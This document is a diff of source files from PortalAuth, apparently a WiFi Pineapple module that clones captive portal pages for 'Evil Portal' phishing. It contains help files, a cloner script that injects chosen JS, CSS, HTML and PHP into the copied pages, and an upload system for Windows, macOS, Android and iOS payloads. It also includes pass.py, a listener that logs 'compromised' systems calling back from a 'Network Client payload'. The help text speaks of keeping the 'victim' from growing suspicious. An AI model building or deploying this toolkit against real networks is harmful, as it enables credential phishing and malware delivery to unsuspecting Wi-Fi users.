<strong>Strip Inline CSS:</strong> Strips out any CSS styles embedded in the portal.<br />
|
||||
<strong>Strip Forms:</strong> Strips out all form data from the portal.<br /><br />
|
||||
|
||||
<strong>Inject JS:</strong> Injects the JavaScript from the selected Injection Set into the portal.<br />
|
||||
<strong>Inject CSS:</strong> Injects the CSS from the selected Injection Set into the portal.<br />
|
||||
<strong>Inject HTML:</strong> Injects the HTML from the selected Injection Set into the portal.<br />
|
||||
3
PortalAuth/includes/help/injectcss.help
Executable file
3
PortalAuth/includes/help/injectcss.help
Executable file
@@ -0,0 +1,3 @@
|
||||
<p>
|
||||
This is the style code that will be applied to the HTML elements. It is important to have a nice looking login form otherwise the victim may get suspicious.
|
||||
</p>
|
||||
3
PortalAuth/includes/help/injecthtml.help
Executable file
3
PortalAuth/includes/help/injecthtml.help
Executable file
@@ -0,0 +1,3 @@
|
||||
<p>
|
||||
This is the HTML code that will be injected into the cloned portal. This is good for adding additional elements to the page but should be limited to modals and other things that rely on InjectJS. The reason for this is that the HTML code will be injected near the end of the cloned portal which would put your elements at the bottom of the page.
|
||||
</p>
|
||||
3
PortalAuth/includes/help/injectjs.help
Executable file
3
PortalAuth/includes/help/injectjs.help
Executable file
@@ -0,0 +1,3 @@
|
||||
<p>
|
||||
This is the JavaScript code that will be injected into the cloned portal.
|
||||
</p>
|
||||
1
PortalAuth/includes/help/injectphp.help
Executable file
1
PortalAuth/includes/help/injectphp.help
Executable file
@@ -0,0 +1 @@
|
||||
This is the PHP code that will be injected at the beginning of the cloned portal.
|
||||
3
PortalAuth/includes/help/myportal.help
Executable file
3
PortalAuth/includes/help/myportal.help
Executable file
@@ -0,0 +1,3 @@
|
||||
<p>
|
||||
This is the portal script that implements the Evil Portal API.
|
||||
</p>
|
||||
5
PortalAuth/includes/help/pass.help
Executable file
5
PortalAuth/includes/help/pass.help
Executable file
@@ -0,0 +1,5 @@
|
||||
<strong>Portal Auth Shell Server v1.0</strong><br />
|
||||
<p>
|
||||
This python script is used to listen for connections from the Network Client payload. When a connection is initiated the IP address, port, hostname, and OS type of the compromised system are logged in the file associated with the targetlog variable. The activitylog variable holds the file location where various messages are stored about the server's activity.
|
||||
<br /><br />
|
||||
The lhost and lport variables hold the IP address and port number on which the server will listen. lhost should always be the Pineapple's address while lport can be any available port on the system. If the lport changes on the server make sure you change the rport variable in the Network Client as well. After modifying the script, simply click save and the server will be ready to start.
|
||||
17
PortalAuth/includes/help/payloads.help
Executable file
17
PortalAuth/includes/help/payloads.help
Executable file
@@ -0,0 +1,17 @@
|
||||
<strong>Payload Templates</strong><br />
|
||||
Clicking each of these buttons will download starter files for building a payload that interacts with the Payloader injection set.
|
||||
<br /><br />
|
||||
|
||||
<strong>Manage Payloads</strong><br />
|
||||
This section allows you to upload and delete payloads. By default there is an upload limit in nginx that may cause your uploads to fail
|
||||
if they are over a certain size. Click the 'Configure Upload Limit' link to configure nginx to allow uploads up to 20M. When payloads are
|
||||
uploaded they are automatically stored in the proper location based on their filetype.
|
||||
<br /><br />
|
||||
<ul>
|
||||
<li>.exe => /www/download/windows/</li>
|
||||
<li>.zip => /www/download/osx/</li>
|
||||
<li>.ipk => /www/download/android/</li>
|
||||
<li>.ipa => /www/download/ios/</li>
|
||||
</ul>
|
||||
<br />
|
||||
* Keep in mind that .tar.gz files are seen as injection sets and stored as such.
|
||||
12
PortalAuth/includes/help/settings.help
Executable file
12
PortalAuth/includes/help/settings.help
Executable file
@@ -0,0 +1,12 @@
|
||||
<h4 style='text-align: center'>If you click the <strong>Use Default</strong> button Portal Auth will use sud0nick's personal server to check for captive portals.</h4><br />
|
||||
|
||||
<strong>Test Site</strong><br />
|
||||
Enter a URL to an internet web site. This is the site that Portal Auth will attempt to reach to determine if a captive portal is blocking your connection. This field can also be used to clone a site at the specified URL.
|
||||
<br /><br />
|
||||
|
||||
<strong>Expected Data</strong><br />
|
||||
This is the data you expect Portal Auth to receive when accessing Test Website. It is recommended that you leave these settings at their default as they have been tested. If you change them make sure you know exactly what data is coming from the Test Website otherwise you will receive a false positive.
|
||||
<br /><br />
|
||||
|
||||
<strong>Portal Archive</strong><br />
|
||||
This is the location where you store your portals. If you want to be able to see your portal in Evil Portal II then you must use either /sd/portals/ or /root/portals/<br /><strong>*ALWAYS*</strong> end this directory with a forward slash (/). If you don't, the cloner will not be able to find the archive.
|
||||
6
PortalAuth/includes/help/status.help
Executable file
6
PortalAuth/includes/help/status.help
Executable file
@@ -0,0 +1,6 @@
|
||||
<strong>Clone Portal</strong><br />
|
||||
Only visible when a captive portal is detected. Clicking this will bring up the options menu for cloning the captive portal.
|
||||
<br /><br />
|
||||
<strong>Dependencies</strong><br />
|
||||
The only dependency required is curl.
|
||||
<br />
|
||||
BIN
PortalAuth/includes/icons/glyphicons-151-edit.png
Executable file
BIN
PortalAuth/includes/icons/glyphicons-151-edit.png
Executable file
Binary file not shown.
|
After Width: | Height: | Size: 1.3 KiB |
BIN
PortalAuth/includes/icons/glyphicons-17-bin.png
Executable file
BIN
PortalAuth/includes/icons/glyphicons-17-bin.png
Executable file
Binary file not shown.
|
After Width: | Height: | Size: 1.3 KiB |
BIN
PortalAuth/includes/icons/glyphicons-182-download-alt.png
Executable file
BIN
PortalAuth/includes/icons/glyphicons-182-download-alt.png
Executable file
Binary file not shown.
|
After Width: | Height: | Size: 1.3 KiB |
BIN
PortalAuth/includes/icons/glyphicons-195-question-sign.png
Executable file
BIN
PortalAuth/includes/icons/glyphicons-195-question-sign.png
Executable file
Binary file not shown.
|
After Width: | Height: | Size: 1.4 KiB |
BIN
PortalAuth/includes/icons/glyphicons-198-remove-circle.png
Executable file
BIN
PortalAuth/includes/icons/glyphicons-198-remove-circle.png
Executable file
Binary file not shown.
|
After Width: | Height: | Size: 1.4 KiB |
BIN
PortalAuth/includes/icons/glyphicons-201-download.png
Executable file
BIN
PortalAuth/includes/icons/glyphicons-201-download.png
Executable file
Binary file not shown.
|
After Width: | Height: | Size: 1.4 KiB |
BIN
PortalAuth/includes/icons/glyphicons-202-upload.png
Executable file
BIN
PortalAuth/includes/icons/glyphicons-202-upload.png
Executable file
Binary file not shown.
|
After Width: | Height: | Size: 1.4 KiB |
BIN
PortalAuth/includes/icons/glyphicons-433-plus.png
Executable file
BIN
PortalAuth/includes/icons/glyphicons-433-plus.png
Executable file
Binary file not shown.
|
After Width: | Height: | Size: 1.2 KiB |
103
PortalAuth/includes/pass/Backups/pass.py
Executable file
103
PortalAuth/includes/pass/Backups/pass.py
Executable file
@@ -0,0 +1,103 @@
|
||||
import socket
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
from random import randint
|
||||
|
||||
lhost = "172.16.42.1"
|
||||
lport = 4443
|
||||
targets = []
|
||||
activitylog = "/pineapple/modules/PortalAuth/includes/pass/pass.log"
|
||||
targetlog = "/pineapple/modules/PortalAuth/includes/pass/targets.log"
|
||||
keyDir = "/pineapple/modules/PortalAuth/includes/pass/keys/"
|
||||
|
||||
class Target:
|
||||
def __init__(self,addr = None,port = None,name = None,osType = None):
|
||||
self.addr = addr
|
||||
self.port = port
|
||||
self.hostname = name
|
||||
self.platform = osType
|
||||
|
||||
def targetInfo(self):
|
||||
info = "Address: " + self.addr + "\r\n"
|
||||
info += "Port: " + str(self.port) + "\r\n"
|
||||
info += "Hostname: " + self.hostname + "\r\n"
|
||||
info += "OS: " + self.platform + "\r\n\r\n"
|
||||
return info
|
||||
|
||||
def now():
|
||||
return time.strftime("%m/%d/%Y %H:%M:%S")
|
||||
|
||||
# Import the target information from the target log
|
||||
with open (targetlog, 'r') as f:
|
||||
for line in f.readlines():
|
||||
parts = line.split(":")
|
||||
if parts[0] == "Address":
|
||||
t = Target()
|
||||
t.addr = parts[1].strip()
|
||||
elif parts[0] == "Port":
|
||||
t.port = int(parts[1].strip())
|
||||
elif parts[0] == "Hostname":
|
||||
t.hostname = parts[1].strip()
|
||||
elif parts[0] == "OS":
|
||||
t.platform = parts[1].strip()
|
||||
targets.append(t)
|
||||
else:
|
||||
pass
|
||||
|
||||
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
server.bind((lhost,lport))
|
||||
server.listen(5)
|
||||
|
||||
with open(activitylog, "a") as f:
|
||||
f.write("[!] " + now() + " - Server listening on " + lhost + " port " + str(lport) + "\r\n")
|
||||
|
||||
curTarget = accesskey = None
|
||||
connected = False
|
||||
while 1:
|
||||
if not connected:
|
||||
(client, address) = server.accept()
|
||||
connected = True
|
||||
while 1:
|
||||
try:
|
||||
recv_buffer = client.recv(4096)
|
||||
data = recv_buffer.split(";")
|
||||
|
||||
# If the target already exists update the listening port
|
||||
if any(tgt.addr == address[0] for tgt in targets) is True:
|
||||
for _tgt in targets:
|
||||
if _tgt.addr == address[0]:
|
||||
_tgt.port = int(data[0])
|
||||
_tgt.hostname = data[1]
|
||||
_tgt.platform = data[2]
|
||||
curTarget = _tgt.addr.replace('.', '_')
|
||||
with open(activitylog, "a") as f:
|
||||
f.write("[!] " + now() + " - Target port updated for " + _tgt.addr + " to " + str(_tgt.port) + "\r\n")
|
||||
else:
|
||||
# Add a new target to the list
|
||||
t = Target(address[0], int(data[0]), data[1], data[2])
|
||||
targets.append(t)
|
||||
curTarget = t.addr.replace('.', '_')
|
||||
with open(activitylog, "a") as f:
|
||||
f.write("[+] " + now() + " - New target acquired at " + t.addr + " on port " + str(t.port) + "\r\n")
|
||||
|
||||
# Write out all targets to the target log
|
||||
with open(targetlog, "w") as f:
|
||||
for t in targets:
|
||||
f.write(t.targetInfo())
|
||||
|
||||
# Generate a random access key, store it in a file for later access by auth.php, and
|
||||
# send the key back to the client
|
||||
with open(keyDir + curTarget + ".txt", "w") as f:
|
||||
accesskey = '%05i' % randint(0,99999)
|
||||
f.write(accesskey)
|
||||
client.send(accesskey)
|
||||
|
||||
if not len(recv_buffer):
|
||||
connected = False
|
||||
break
|
||||
except:
|
||||
connected = False
|
||||
break
|
||||
server.close()
|
||||
BIN
PortalAuth/includes/pass/NetCli_CS.zip
Executable file
BIN
PortalAuth/includes/pass/NetCli_CS.zip
Executable file
Binary file not shown.
BIN
PortalAuth/includes/pass/NetCli_OSX.zip
Executable file
BIN
PortalAuth/includes/pass/NetCli_OSX.zip
Executable file
Binary file not shown.
BIN
PortalAuth/includes/pass/NetCli_Win.zip
Executable file
BIN
PortalAuth/includes/pass/NetCli_Win.zip
Executable file
Binary file not shown.
0
PortalAuth/includes/pass/pass.log
Executable file
0
PortalAuth/includes/pass/pass.log
Executable file
103
PortalAuth/includes/pass/pass.py
Executable file
103
PortalAuth/includes/pass/pass.py
Executable file
@@ -0,0 +1,103 @@
|
||||
import socket
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
from random import randint
|
||||
|
||||
lhost = "172.16.42.1"
|
||||
lport = 4443
|
||||
targets = []
|
||||
activitylog = "/pineapple/modules/PortalAuth/includes/pass/pass.log"
|
||||
targetlog = "/pineapple/modules/PortalAuth/includes/pass/targets.log"
|
||||
keyDir = "/pineapple/modules/PortalAuth/includes/pass/keys/"
|
||||
|
||||
class Target:
|
||||
def __init__(self,addr = None,port = None,name = None,osType = None):
|
||||
self.addr = addr
|
||||
self.port = port
|
||||
self.hostname = name
|
||||
self.platform = osType
|
||||
|
||||
def targetInfo(self):
|
||||
info = "Address: " + self.addr + "\r\n"
|
||||
info += "Port: " + str(self.port) + "\r\n"
|
||||
info += "Hostname: " + self.hostname + "\r\n"
|
||||
info += "OS: " + self.platform + "\r\n\r\n"
|
||||
return info
|
||||
|
||||
def now():
|
||||
return time.strftime("%m/%d/%Y %H:%M:%S")
|
||||
|
||||
# Import the target information from the target log
|
||||
with open (targetlog, 'r') as f:
|
||||
for line in f.readlines():
|
||||
parts = line.split(":")
|
||||
if parts[0] == "Address":
|
||||
t = Target()
|
||||
t.addr = parts[1].strip()
|
||||
elif parts[0] == "Port":
|
||||
t.port = int(parts[1].strip())
|
||||
elif parts[0] == "Hostname":
|
||||
t.hostname = parts[1].strip()
|
||||
elif parts[0] == "OS":
|
||||
t.platform = parts[1].strip()
|
||||
targets.append(t)
|
||||
else:
|
||||
pass
|
||||
|
||||
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
server.bind((lhost,lport))
|
||||
server.listen(5)
|
||||
|
||||
with open(activitylog, "a") as f:
|
||||
f.write("[!] " + now() + " - Server listening on " + lhost + " port " + str(lport) + "\r\n")
|
||||
|
||||
curTarget = accesskey = None
|
||||
connected = False
|
||||
while 1:
|
||||
if not connected:
|
||||
(client, address) = server.accept()
|
||||
connected = True
|
||||
while 1:
|
||||
try:
|
||||
recv_buffer = client.recv(4096)
|
||||
data = recv_buffer.split(";")
|
||||
|
||||
# If the target already exists update the listening port
|
||||
if any(tgt.addr == address[0] for tgt in targets) is True:
|
||||
for _tgt in targets:
|
||||
if _tgt.addr == address[0]:
|
||||
_tgt.port = int(data[0])
|
||||
_tgt.hostname = data[1]
|
||||
_tgt.platform = data[2]
|
||||
curTarget = _tgt.addr.replace('.', '_')
|
||||
with open(activitylog, "a") as f:
|
||||
f.write("[!] " + now() + " - Target port updated for " + _tgt.addr + " to " + str(_tgt.port) + "\r\n")
|
||||
else:
|
||||
# Add a new target to the list
|
||||
t = Target(address[0], int(data[0]), data[1], data[2])
|
||||
targets.append(t)
|
||||
curTarget = t.addr.replace('.', '_')
|
||||
with open(activitylog, "a") as f:
|
||||
f.write("[+] " + now() + " - New target acquired at " + t.addr + " on port " + str(t.port) + "\r\n")
|
||||
|
||||
# Write out all targets to the target log
|
||||
with open(targetlog, "w") as f:
|
||||
for t in targets:
|
||||
f.write(t.targetInfo())
|
||||
|
||||
# Generate a random access key, store it in a file for later access by auth.php, and
|
||||
# send the key back to the client
|
||||
with open(keyDir + curTarget + ".txt", "w") as f:
|
||||
accesskey = '%05i' % randint(0,99999)
|
||||
f.write(accesskey)
|
||||
client.send(accesskey)
|
||||
|
||||
if not len(recv_buffer):
|
||||
connected = False
|
||||
break
|
||||
except:
|
||||
connected = False
|
||||
break
|
||||
server.close()
|
||||
0
PortalAuth/includes/pass/targets.log
Executable file
0
PortalAuth/includes/pass/targets.log
Executable file
313
PortalAuth/includes/scripts/PortalCloner.py
Executable file
313
PortalAuth/includes/scripts/PortalCloner.py
Executable file
@@ -0,0 +1,313 @@
|
||||
from __future__ import absolute_import
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import shutil
|
||||
from contextlib import closing
|
||||
|
||||
parent_dir = os.path.abspath(os.path.dirname(__file__))
|
||||
libs_dir = os.path.join(parent_dir, 'libs')
|
||||
sys.path.append(libs_dir)
|
||||
|
||||
import requests
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
import threading
|
||||
import urlparse
|
||||
import tinycss
|
||||
import collections
|
||||
from bs4 import BeautifulSoup
|
||||
|
||||
class PortalCloner:
|
||||
|
||||
def __init__(self, portalName, directory, injectSet):
|
||||
self.portalName = portalName
|
||||
self.portalDirectory = directory + self.portalName + "/"
|
||||
self.resourceDirectory = self.portalDirectory + "resources/"
|
||||
self.injectionSet = injectSet
|
||||
self.css_urls = collections.defaultdict(list)
|
||||
self.splashFile = self.portalDirectory + "index.php"
|
||||
self.url = None
|
||||
self.soup = None
|
||||
self.session = requests.Session()
|
||||
self.basePath = '/pineapple/modules/PortalAuth/'
|
||||
self.uas = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"}
|
||||
|
||||
|
||||
def find_meta_refresh(self, r):
|
||||
soup = BeautifulSoup(r.text, "html.parser")
|
||||
for meta in soup.find_all("meta"):
|
||||
if meta.has_attr("http-equiv"):
|
||||
if "url=" in meta.get("content").lower():
|
||||
text = meta.get("content").split(";")[1]
|
||||
text = text.strip()
|
||||
if text.lower().startswith("url="):
|
||||
new_url=text[4:]
|
||||
return True, new_url
|
||||
return False, r
|
||||
|
||||
|
||||
def follow_redirects(self, r, s):
|
||||
redirected, new_url = self.find_meta_refresh(r)
|
||||
if redirected:
|
||||
r = self.follow_redirects(self.session.get(urlparse.urljoin(r.url, new_url)), s)
|
||||
return r
|
||||
|
||||
def downloadFile(self, url, name):
|
||||
with closing(self.session.get(urlparse.urljoin(self.url, url), stream=True, verify=False)) as r:
|
||||
with open(self.resourceDirectory + name, 'wb') as out_file:
|
||||
for chunk in r.iter_content(8192):
|
||||
out_file.write(chunk)
|
||||
|
||||
def parseCSS(self, url):
|
||||
r = requests.get(url, headers=self.uas)
|
||||
urls = []
|
||||
parser = tinycss.make_parser('page3')
|
||||
try:
|
||||
stylesheet = parser.parse_stylesheet(r.text)
|
||||
for rule in stylesheet.rules:
|
||||
for dec in rule.declarations:
|
||||
for token in dec.value:
|
||||
if token.type == "URI":
|
||||
# Strip out anything not part of the URL and append it to the list
|
||||
urls.append(token.as_css().replace("url(","").replace(")","").strip('"\''))
|
||||
except:
|
||||
pass
|
||||
return urls
|
||||
|
||||
|
||||
def checkFileName(self, orig):
|
||||
filename, file_ext = os.path.splitext(orig)
|
||||
path = self.resourceDirectory + filename + file_ext
|
||||
fname = orig
|
||||
uniq = 1
|
||||
while os.path.exists(path):
|
||||
fname = "%s_%d%s" % (filename, uniq, file_ext)
|
||||
path = self.resourceDirectory + fname
|
||||
uniq += 1
|
||||
return fname
|
||||
|
||||
|
||||
def fetchPage(self, url):
|
||||
# Check if the proper directories exist and create them if not
|
||||
for path in [self.portalDirectory, self.resourceDirectory]:
|
||||
if not os.path.exists(path):
|
||||
os.makedirs(path)
|
||||
|
||||
# Attempt to open an external web page and load the HTML
|
||||
response = requests.get(url, headers=self.uas, verify=False)
|
||||
|
||||
# Get the actual URL - This accounts for redirects - and set the class variable with it
|
||||
self.url = response.url
|
||||
|
||||
# Set up the URL as our referrer to get access to protected images
|
||||
self.session.headers.update({'referer':self.url})
|
||||
|
||||
# Follow any meta refreshes that exist before continuing
|
||||
response = self.follow_redirects(response, self.session)
|
||||
|
||||
# Create a BeautifulSoup object to hold our HTML structure
|
||||
self.soup = BeautifulSoup(response.text, "html.parser")
|
||||
|
||||
|
||||
def cloneResources(self):
|
||||
|
||||
# Define a list in which to store the locations of all resources
|
||||
# to be downloaded.
|
||||
resourceURLs = []
|
||||
|
||||
|
||||
# Download all linked JS files and remove all inline JavaScript
|
||||
for script in self.soup.find_all('script'):
|
||||
if script.has_attr('src'):
|
||||
|
||||
# Get the name of the resource
|
||||
fname = str(script.get('src')).split("/")[-1]
|
||||
|
||||
# Download the resource
|
||||
resourceURLs.append([script.get('src'), fname])
|
||||
|
||||
# Change the url to the resource in the cloned file
|
||||
script['src'] = "resources/" + fname
|
||||
|
||||
# Search through all tags for the style attribute and gather inline CSS references
|
||||
for tag in self.soup():
|
||||
if tag.has_attr('style'):
|
||||
for dec in tag['style'].split(";"):
|
||||
token = dec.split(":")[-1]
|
||||
token = token.strip()
|
||||
if token.lower().startswith("url"):
|
||||
imageURL = token.replace("url(","").replace(")","").strip('"\'')
|
||||
|
||||
# Get the name of the resource
|
||||
fname = imageURL.split("/")[-1]
|
||||
|
||||
# Download the resource
|
||||
resourceURLs.append([imageURL, fname])
|
||||
|
||||
# Change the inline CSS
|
||||
tag['style'].replace(imageURL, "resources/" + fname)
|
||||
|
||||
# Search for CSS files linked with the @import statement and remove
|
||||
for style in self.soup.find_all("style"):
|
||||
parser = tinycss.make_parser('page3')
|
||||
stylesheet = parser.parse_stylesheet(style.string)
|
||||
for rule in stylesheet.rules:
|
||||
if rule.at_keyword == "@import":
|
||||
|
||||
# Get the name of the resource
|
||||
fname = str(rule.uri).split("/")[-1]
|
||||
|
||||
# Download the resource
|
||||
resourceURLs.append([rul.uri, fname])
|
||||
|
||||
# Parse the CSS to get image links
|
||||
_key = "resources/" + fname
|
||||
self.css_urls[_key] = self.parseCSS(urlparse.urljoin(self.url, rule.uri))
|
||||
|
||||
# Replace the old link of the CSS with the new one
|
||||
modStyle = style.string
|
||||
style.string.replace_with(modStyle.replace(rule.uri, "resources/" + fname))
|
||||
|
||||
|
||||
# Find and download all images and CSS files linked with <link>
|
||||
for img in self.soup.find_all(['img', 'link', 'embed']):
|
||||
if img.has_attr('href'):
|
||||
tag = "href"
|
||||
elif img.has_attr('src'):
|
||||
tag = "src"
|
||||
|
||||
# Parse the tag to get the file name
|
||||
fname = str(img.get(tag)).split("/")[-1]
|
||||
|
||||
# Strip out any undesired characters
|
||||
pattern = re.compile('[^a-zA-Z0-9_.]+', re.UNICODE)
|
||||
fname = pattern.sub('', fname)
|
||||
fname = fname[:255]
|
||||
|
||||
if fname == "":
|
||||
continue
|
||||
if fname.rpartition('.')[1] == "":
|
||||
fname += ".css"
|
||||
if fname.rpartition('.')[2] == "css":
|
||||
_key = "resources/" + fname
|
||||
self.css_urls[_key] = self.parseCSS(urlparse.urljoin(self.url, img.get(tag)))
|
||||
|
||||
# Check the file name for bad characters
|
||||
checkedName = self.checkFileName(fname)
|
||||
|
||||
# Download the resource
|
||||
resourceURLs.append([img.get(tag), checkedName])
|
||||
|
||||
# Change the image src to look for the image in resources
|
||||
img[tag] = "resources/" + checkedName
|
||||
|
||||
# Spawn threads to begin downloading all resources
|
||||
# r[0] is the URL of the resource
|
||||
# r[1] is the name of the resource that will be saved
|
||||
threads = []
|
||||
for r in resourceURLs:
|
||||
t = threading.Thread(target=self.downloadFile, args=(r[0], r[1]))
|
||||
threads.append(t)
|
||||
t.start()
|
||||
|
||||
# Wait for the threads to complete
|
||||
for t in threads:
|
||||
t.join()
|
||||
|
||||
# Download any images found in the CSS file and change the link to resources
|
||||
# This occurs AFTER the CSS files have already been copied
|
||||
for css_file, urls in self.css_urls.iteritems():
|
||||
|
||||
# Open the CSS file and get the contents
|
||||
fh = open(self.portalDirectory + css_file).read().decode('utf-8', 'ignore')
|
||||
|
||||
# Iterate over the URLs associated with this CSS file
|
||||
for _fileurl in urls:
|
||||
|
||||
# Get the image name
|
||||
fname = _fileurl.split("/")[-1]
|
||||
|
||||
# Download the image from the web server
|
||||
checkedName = self.checkFileName(fname)
|
||||
try:
|
||||
resourceURLs.append([_fileurl, checkedName])
|
||||
except:
|
||||
pass
|
||||
|
||||
# Change the link in the CSS file
|
||||
fh = fh.replace(_fileurl, checkedName)
|
||||
|
||||
# Write the contents back out to the file
|
||||
fw = open(self.portalDirectory + css_file, 'w')
|
||||
fw.write(fh.encode('utf-8'))
|
||||
fw.flush()
|
||||
fw.close()
|
||||
|
||||
def stripJS(self):
|
||||
for script in self.soup.find_all('script'):
|
||||
script.clear()
|
||||
|
||||
|
||||
def stripCSS(self):
|
||||
for tag in self.soup():
|
||||
if tag.has_attr('style'):
|
||||
tag['style'] = ""
|
||||
|
||||
for style in self.soup.find_all("style"):
|
||||
style.clear()
|
||||
|
||||
|
||||
def stripLinks(self):
|
||||
# Find and clear all href attributes from a tags
|
||||
for link in self.soup.find_all('a'):
|
||||
link['href'] = ""
|
||||
|
||||
|
||||
def stripForms(self):
|
||||
# Find all forms, remove the action and clear the form
|
||||
for form in self.soup.find_all('form'):
|
||||
# Clear the action attribute
|
||||
form['action'] = ""
|
||||
|
||||
# Clear the form
|
||||
form.clear()
|
||||
|
||||
|
||||
def injectJS(self):
|
||||
# Add user defined functions from injectJS.txt
|
||||
with open(self.basePath + 'includes/scripts/injects/' + self.injectionSet + '/injectJS.txt', 'r') as injectJS:
|
||||
self.soup.head.append(injectJS.read())
|
||||
|
||||
|
||||
def injectCSS(self):
|
||||
# Add user defined CSS from injectCSS.txt
|
||||
with open(self.basePath + 'includes/scripts/injects/' + self.injectionSet + '/injectCSS.txt', 'r') as injectCSS:
|
||||
self.soup.head.append(injectCSS.read())
|
||||
|
||||
|
||||
def injectHTML(self):
|
||||
# Append our HTML elements to the body of the web page
|
||||
with open(self.basePath + 'includes/scripts/injects/' + self.injectionSet + '/injectHTML.txt', 'r') as injectHTML:
|
||||
self.soup.body.append(injectHTML.read())
|
||||
|
||||
|
||||
def writeFiles(self):
|
||||
# Write the file out to index.php
|
||||
with open(self.splashFile, 'w') as splash:
|
||||
with open(self.basePath + 'includes/scripts/injects/' + self.injectionSet + '/injectPHP.txt', 'r') as injectPHP:
|
||||
splash.write(injectPHP.read())
|
||||
splash.write((self.soup.prettify(formatter=None)).encode('utf-8'))
|
||||
|
||||
# Copy the MyPortal PHP script to portalDirectory
|
||||
shutil.copy(self.basePath + 'includes/scripts/injects/' + self.injectionSet + '/MyPortal.php', self.portalDirectory)
|
||||
|
||||
# Create the required .ep file
|
||||
with open(self.portalDirectory + self.portalName + ".ep", 'w+') as epFile:
|
||||
epFile.write("DO NOT DELETE THIS")
|
||||
|
||||
# Copy jquery to the portal directory
|
||||
shutil.copy(self.basePath + 'includes/scripts/jquery-2.2.1.min.js', self.portalDirectory)
|
||||
|
||||
|
||||
BIN
PortalAuth/includes/scripts/PortalCloner.pyc
Executable file
BIN
PortalAuth/includes/scripts/PortalCloner.pyc
Executable file
Binary file not shown.
41
PortalAuth/includes/scripts/cfgUploadLimit.py
Executable file
41
PortalAuth/includes/scripts/cfgUploadLimit.py
Executable file
@@ -0,0 +1,41 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
from subprocess import call
|
||||
|
||||
php = "/etc/php.ini"
|
||||
nginx = "/etc/nginx/nginx.conf"
|
||||
|
||||
lines = [f for f in open(php)]
|
||||
with open(php, "w") as out:
|
||||
for line in lines:
|
||||
if "upload_max_filesize" in line:
|
||||
parts = line.split("=")
|
||||
parts[1] = " 20M\n"
|
||||
line = "=".join(parts)
|
||||
if "post_max_size" in line:
|
||||
parts = line.split("=")
|
||||
parts[1] = " 26M\n"
|
||||
line = "=".join(parts)
|
||||
out.write(line)
|
||||
call(["/etc/init.d/php5-fpm", "reload"])
|
||||
|
||||
httpBlock = False
|
||||
needsCfg = True
|
||||
index = innerIndex = 0
|
||||
lines = [f for f in open(nginx)]
|
||||
for line in lines:
|
||||
if "client_max_body_size" in line:
|
||||
needsCfg = False
|
||||
break
|
||||
if needsCfg is True:
|
||||
with open(nginx, "w") as out:
|
||||
for line in lines:
|
||||
if "http {" in line:
|
||||
httpBlock = True
|
||||
if httpBlock is True:
|
||||
if innerIndex == 4:
|
||||
lines.insert(index + 1, "\tclient_max_body_size 20M;\n")
|
||||
innerIndex = innerIndex + 1
|
||||
index = index + 1
|
||||
out.write(line)
|
||||
call(["/etc/init.d/nginx", "reload"])
|
||||
BIN
PortalAuth/includes/scripts/cfgUploadLimit.pyc
Executable file
BIN
PortalAuth/includes/scripts/cfgUploadLimit.pyc
Executable file
Binary file not shown.
28
PortalAuth/includes/scripts/depends.sh
Executable file
28
PortalAuth/includes/scripts/depends.sh
Executable file
@@ -0,0 +1,28 @@
|
||||
#!/bin/sh
|
||||
|
||||
# Author: sud0nick
|
||||
# Date: Dec 2016
|
||||
|
||||
if [ $# -eq 0 ]; then
|
||||
exit;
|
||||
fi
|
||||
|
||||
if [[ "$1" == "-check" ]]; then
|
||||
testCurl=$(opkg list-installed | grep -w 'curl')
|
||||
if [ -z "$testCurl" ]; then
|
||||
echo "Not Installed";
|
||||
else
|
||||
echo "Installed";
|
||||
fi
|
||||
fi
|
||||
|
||||
if [[ "$1" == "-install" ]]; then
|
||||
opkg update > /dev/null;
|
||||
opkg install curl > /dev/null;
|
||||
echo "Complete"
|
||||
fi
|
||||
|
||||
if [[ "$1" == "-remove" ]]; then
|
||||
opkg remove curl > /dev/null
|
||||
echo "Complete"
|
||||
fi
|
||||
25
PortalAuth/includes/scripts/injects/Blank/MyPortal.php
Executable file
25
PortalAuth/includes/scripts/injects/Blank/MyPortal.php
Executable file
@@ -0,0 +1,25 @@
|
||||
<?php namespace evilportal;
|
||||
|
||||
class MyPortal extends Portal
|
||||
{
|
||||
|
||||
public function handleAuthorization()
|
||||
{
|
||||
// Call parent to handle basic authorization first
|
||||
parent::handleAuthorization();
|
||||
|
||||
// Check for other form data here
|
||||
}
|
||||
|
||||
public function showSuccess()
|
||||
{
|
||||
// Calls default success message
|
||||
parent::showSuccess();
|
||||
}
|
||||
|
||||
public function showError()
|
||||
{
|
||||
// Calls default error message
|
||||
parent::showError();
|
||||
}
|
||||
}
|
||||
25
PortalAuth/includes/scripts/injects/Blank/backups/MyPortal.php
Executable file
25
PortalAuth/includes/scripts/injects/Blank/backups/MyPortal.php
Executable file
@@ -0,0 +1,25 @@
|
||||
<?php namespace evilportal;
|
||||
|
||||
class MyPortal extends Portal
|
||||
{
|
||||
|
||||
public function handleAuthorization()
|
||||
{
|
||||
// Call parent to handle basic authorization first
|
||||
parent::handleAuthorization();
|
||||
|
||||
// Check for other form data here
|
||||
}
|
||||
|
||||
public function showSuccess()
|
||||
{
|
||||
// Calls default success message
|
||||
parent::showSuccess();
|
||||
}
|
||||
|
||||
public function showError()
|
||||
{
|
||||
// Calls default error message
|
||||
parent::showError();
|
||||
}
|
||||
}
|
||||
4
PortalAuth/includes/scripts/injects/Blank/backups/injectCSS.txt
Executable file
4
PortalAuth/includes/scripts/injects/Blank/backups/injectCSS.txt
Executable file
@@ -0,0 +1,4 @@
|
||||
<!--
|
||||
<style>
|
||||
</style>
|
||||
-->
|
||||
4
PortalAuth/includes/scripts/injects/Blank/backups/injectHTML.txt
Executable file
4
PortalAuth/includes/scripts/injects/Blank/backups/injectHTML.txt
Executable file
@@ -0,0 +1,4 @@
|
||||
<!--
|
||||
<div>
|
||||
</div>
|
||||
-->
|
||||
4
